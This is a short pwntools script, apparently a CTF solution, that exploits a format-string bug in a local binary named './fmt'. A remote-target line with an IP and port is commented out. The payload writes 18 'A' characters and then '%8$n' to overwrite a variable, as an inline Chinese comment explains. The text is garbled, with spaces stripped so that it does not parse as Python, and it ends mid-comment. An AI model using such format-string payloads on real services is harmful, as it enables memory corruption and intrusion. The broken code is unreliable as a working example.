frompwnimport*context(terminal=['tmux','splitw','-h'],os="linux",arch="amd64",#arch = "i386",log_level="debug")io=process("./fmt")#io = remote("43.249.195.138",20550)defdebug():gdb.attach(io)pause()debug()###payload=b'A'*18+b'%8$n'#在%8$n前输出18个字符,让v1被改写...